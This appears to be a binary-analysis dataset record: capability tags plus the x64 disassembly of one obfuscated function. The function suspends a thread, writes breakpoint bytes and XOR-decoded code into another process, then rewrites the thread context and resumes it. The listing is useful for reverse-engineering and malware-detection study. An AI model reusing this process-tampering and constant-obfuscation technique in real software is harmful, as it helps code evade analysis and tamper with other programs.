Function at 0x140078d84
Capabilities:
Encode data using xor
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
push rdx
pop rbx
nop
mov qword [rsp + 0x38], rdx
mov r8d, dword [rcx + 8]
xor edx, edx
mov ecx, 0xffe0b3c4
pushf
not ecx
add ecx, 0x4b7c
xor ecx, 0x6848
popf
call qword [sym.imp.KERNEL32.dll_OpenThread]
push rax
pop r14
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400794a9
push rax
pop rcx
nop
call qword [sym.imp.KERNEL32.dll_SuspendThread]
xor edx, edx
mov r8d, 0x1abe
pushf
not r8d
add r8d, 0x5e74
xor r8d, 0x4765
popf
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x50], 0x100001
lea rdx, [rbp + 0x20]
push r14
pop rcx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140079497
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140078e66
xor esi, esi
mov r12d, esi
jmp 0x140078ed6
lea rdx, str.NtQueryInformationProcess
push rax
pop rcx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
mov qword [rsp + 0x20], rsi
lea r9d, [rsi + 0x30]
lea r8, [rsp + 0x58]
xor edx, edx
push rbx
pop rcx
nop
call rax
test eax, eax
je 0x140078e96
mov r12d, esi
jmp 0x140078ed6
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x140078ea5
push rsi
pop r12
jmp 0x140078ed6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x20], rsi
lea r9d, [rax + 0x18]
lea r8, [rsp + 0x40]
push rbx
pop rcx
nop
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r12, qword [rsp + 0x50]
test eax, eax
cmove r12, rsi
mov rdx, qword [0x1400076f8]
test rdx, rdx
je 0x14007914b
mov qword [0x1400076f8], rsi
mov r8, qword [0x1400076e8]
mov rax, qword [r8 + 8]
cmp byte [rax + 0x19], 0
jne 0x140078f1c
push rdx
pop rcx
nop
push rcx
pop rdx
nop
cmp qword [rax + 0x20], rcx
jae 0x140078f10
mov rax, qword [rax + 0x10]
jmp 0x140078f16
push rax
pop r8
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140078f01
cmp byte [r8 + 0x19], 0
jne 0x140078f37
cmp rdx, qword [r8 + 0x20]
jb 0x140078f37
mov al, 0x77
pushf
not al
add al, 0x32
xor al, 0xbb
popf
jmp 0x140078f39
xor al, al
test al, al
je 0x14007914b
push rdx
pop r13
sub r13, r12
mov byte [rbp - 0x78], 0xcc
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
call fcn.14007878b
push rax
pop r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov qword [rbp], rsi
mov rdx, qword [rax + 8]
sub rdx, qword [rax]
je 0x140078fa1
lea rcx, [rbp - 0x10]
call fcn.14007a1f1
mov rdi, qword [rbp - 0x10]
mov rbx, qword [r15 + 8]
mov rdx, qword [r15]
sub rbx, rdx
push rbx
pop r8
push rdi
pop rcx
nop
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov qword [rbp - 8], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rsi
mov rdx, qword [r15 + 0x20]
sub rdx, qword [r15 + 0x18]
je 0x140078fe2
lea rcx, [rbp + 8]
call fcn.14007a1f1
mov rdi, qword [rbp + 8]
mov rbx, qword [r15 + 0x20]
mov rdx, qword [r15 + 0x18]
sub rbx, rdx
push rbx
pop r8
push rdi
pop rcx
nop
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov qword [rbp + 0x10], rax
push rsi
pop rcx
nop
mov qword [rbp - 0x40], rcx
push rsi
pop rax
nop
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rsi
mov rdx, qword [rbp - 8]
sub rdx, qword [rbp - 0x10]
je 0x14007902d
lea rcx, [rbp - 0x40]
call fcn.14007a1f1
mov rdi, qword [rbp - 0x40]
mov rbx, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
sub rbx, rdx
push rbx
pop r8
push rdi
pop rcx
nop
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 0x40]
push rsi
pop rbx
nop
cmp rax, rcx
je 0x140079087
mov rdi, qword [rsp + 0x38]
nop word [rax + rax]
lea rdx, [rbx + r13]
mov qword [rsp + 0x20], rsi
mov r9d, 0xffffe142
pushf
not r9d
add r9d, 0x5e11
xor r9d, 0x7ccf
popf
lea r8, [rbp - 0x78]
push rdi
pop rcx
nop
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc rbx
mov rax, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
sub rax, rcx
cmp rbx, rax
jb 0x140079043
test rcx, rcx
je 0x1400790cc
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
push rcx
pop rax
nop
cmp rdx, 0x1000
jb 0x1400790bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400790bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a8f5
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rsi
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x14007910e
mov rdx, qword [rbp + 0x18]
sub rdx, rcx
push rcx
pop rax
nop
cmp rdx, 0x1000
jb 0x1400790fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007913f
call fcn.14007a8f5
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rsi
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x14007914b
mov rdx, qword [rbp]
sub rdx, rcx
push rcx
pop rax
nop
cmp rdx, 0x1000
jb 0x140079146
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140079146
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a8f5
mov rdx, qword [rbp + 0x118]
lea r13, [rdx - 1]
push r13
pop r15
sub r15, r12
mov rcx, qword [0x1400076e8]
mov rax, qword [rcx + 8]
cmp byte [rax + 0x19], 0
jne 0x140079186
cmp qword [rax + 0x20], r15
jae 0x14007917a
mov rax, qword [rax + 0x10]
jmp 0x140079180
push rax
pop rcx
nop
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x14007916e
cmp byte [rcx + 0x19], 0
jne 0x140079480
cmp r15, qword [rcx + 0x20]
jb 0x140079480
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
push r15
pop rdx
call fcn.14007878b
push rax
pop r12
push rsi
pop r9
mov qword [rbp - 0x70], rsi
push rsi
pop rdx
nop
mov qword [rbp - 0x68], rdx
mov qword [rbp - 0x60], rsi
mov rax, qword [rax + 8]
sub rax, qword [r12]
je 0x140079203
push rax
pop rdx
nop
lea rcx, [rbp - 0x70]
call fcn.14007a1f1
mov rdi, qword [rbp - 0x70]
mov rbx, qword [r12 + 8]
mov rdx, qword [r12]
sub rbx, rdx
push rbx
pop r8
push rdi
pop rcx
nop
call sub.VCRUNTIME140.dll_memmove
lea rdx, [rdi + rbx]
mov qword [rbp - 0x68], rdx
mov r9, qword [rbp - 0x70]
push rsi
pop r8
mov qword [rbp - 0x58], rsi
push rsi
pop rcx
nop
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rsi
mov rax, qword [r12 + 0x20]
sub rax, qword [r12 + 0x18]
je 0x14007925d
push rax
pop rdx
nop
lea rcx, [rbp - 0x58]
call fcn.14007a1f1
mov rdi, qword [rbp - 0x58]
mov rbx, qword [r12 + 0x20]
mov rdx, qword [r12 + 0x18]
sub rbx, rdx
push rbx
pop r8
push rdi
pop rcx
nop
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rdi + rbx]
mov qword [rbp - 0x50], rcx
mov r8, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x68]
mov r9, qword [rbp - 0x70]
push rsi
pop r10
cmp rdx, r9
je 0x1400792a1
nop dword [rax]
sub rcx, r8
xor edx, edx
push r10
pop rax
div rcx
movzx eax, byte [r10 + r9]
xor al, byte [rdx + r8]
mov byte [r10 + r9], al
inc r10
mov rdx, qword [rbp - 0x68]
push rdx
pop rax
nop
mov r9, qword [rbp - 0x70]
sub rax, r9
cmp r10, rax
jae 0x1400792a1
mov rcx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x58]
jmp 0x140079269
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rsi
sub rdx, r9
je 0x1400792df
lea rcx, [rbp - 0x28]
call fcn.14007a1f1
mov rdi, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x70]
sub rbx, rdx
push rbx
pop r8
push rdi
pop rcx
nop
call sub.VCRUNTIME140.dll_memmove
lea r9, [rbx + rdi]
mov qword [rbp - 0x20], r9
jmp 0x1400792e3
mov r9, qword [rbp - 0x20]
dec qword [rbp + 0x118]
mov r8, qword [rbp - 0x28]
sub r9, r8
mov qword [rsp + 0x20], rsi
push r13
pop rdx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push rsi
pop r9
mov r10, qword [rbp - 0x70]
test eax, eax
jne 0x140079352
cmp qword [rbp - 0x68], r10
je 0x140079397
nop dword [rax]
mov rcx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x58]
sub rcx, r8
xor edx, edx
push r9
pop rax
div rcx
movzx eax, byte [r9 + r10]
xor al, byte [rdx + r8]
mov byte [r9 + r10], al
inc r9
mov rax, qword [rbp - 0x68]
mov r10, qword [rbp - 0x70]
sub rax, r10
cmp r9, rax
jb 0x14007931d
jmp 0x140079397
cmp qword [rbp - 0x68], r10
je 0x140079390
nop dword [rax + rax]
mov rcx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x58]
sub rcx, r8
xor edx, edx
push r9
pop rax
div rcx
movzx eax, byte [r9 + r10]
xor al, byte [rdx + r8]
mov byte [r9 + r10], al
inc r9
mov rax, qword [rbp - 0x68]
mov r10, qword [rbp - 0x70]
sub rax, r10
cmp r9, rax
jb 0x14007935d
mov qword [0x1400076f8], r15
lea rdx, [rbp + 0x20]
push r14
pop rcx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
push r14
pop rcx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
push r14
pop rcx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400793ff
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
push rcx
pop rax
nop
cmp rdx, 0x1000
jb 0x1400793ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400793ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a8f5
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rsi
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140079441
mov rdx, qword [rbp - 0x48]
sub rdx, rcx
push rcx
pop rax
nop
cmp rdx, 0x1000
jb 0x140079430
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140079472
call fcn.14007a8f5
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x1400794a9
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
push rcx
pop rax
nop
cmp rdx, 0x1000
jb 0x140079479
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140079479
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a8f5
jmp 0x1400794a9
inc rdx
mov qword [rbp + 0x118], rdx
lea rdx, [rbp + 0x20]
push r14
pop rcx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
push r14
pop rcx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
push r14
pop rcx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.14007a5d7
mov rbx, qword [rsp + 0x650]
add rsp, 0x600
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret